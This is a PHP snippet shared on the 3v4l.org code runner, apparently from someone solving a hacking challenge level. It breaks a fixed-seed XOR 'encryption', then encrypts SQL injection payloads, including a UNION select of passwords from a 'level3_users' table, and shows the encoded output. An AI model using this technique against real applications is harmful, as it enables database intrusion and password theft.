3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php // warning! ugly code ahead :) function encrypt($str) { $cryptedstr = ""; srand(3284724); for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ rand(0, 255); while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } function decrypt ($str) { srand(3284724); if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s ^ rand(0, 255); $decStr .= chr($a); } return $decStr; } return false; } return false; } echo(decrypt("MDYzMjIzMDA2MTU2MTQxMjU0")); echo("\r\n"); echo(decrypt("MDQyMjExMDE0MTgyMTQw")); echo("\r\n"); echo("Admin' order by 100;--"); echo("\r\n"); echo(encrypt("Admin' order by 1;--")); echo("\r\n"); echo(encrypt("Admin\" order by 100;--")); echo("\r\n"); echo(encrypt("Admin' or '' = '")); echo("\r\n"); echo(encrypt("Admin'and '' = '")); echo("\r\n"); echo(encrypt("Admin'UNION select password from level3_users --")); echo("\r\n"); echo(encrypt("Admin' or '' = '' order by 5 ;#")); ?>
Output for 5.6.29
TheCow Admin Admin' order by 100;-- MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg3MjA4MTAxMTg0MTQyMDA5MTczMDA2MDY5MjM4MDkwMTc2MDcx MDQyMjExMDE0MTgyMTQwMTcxMjIzMDg3MjA4MTAxMTg0MTQyMDA5MTczMDA2MDY5MjM4MDgxMTczMDgxMDMyMTk4 MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg3MjA4MDMzMjUwMjE5MDA5MjQyMDk1MDY2 MDQyMjExMDE0MTgyMTQwMTc0MTU4MDg2MTk4MDMzMjUzMjE5MDE0MjM5MDY2MDY5MjQ4 MDQyMjExMDE0MTgyMTQwMTc0MTcwMTE4MjM1MDc4MTQ3MjIwMDkwMTcwMDE5MDAwMTg4MDIxMTg5MDI2MTA4MTUyMTcyMTI4MDExMTY4MjAyMjIwMjI3MDYyMjE4MTU3MDM2MTE2MTgxMTQ0MTk5MTYzMDQ1MDI3MTY1MTQzMDM2MTM2MTkxMjI0MDc3MTM0 MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg3MjA4MDMzMjUwMjE5MDA5MjQyMDk1MDY2MjQ4MDY1MjQyMDI0MTA1MTQyMTczMjE1MDA2MTYzMTQyMjAxMTY1MTA4MTQyMjEx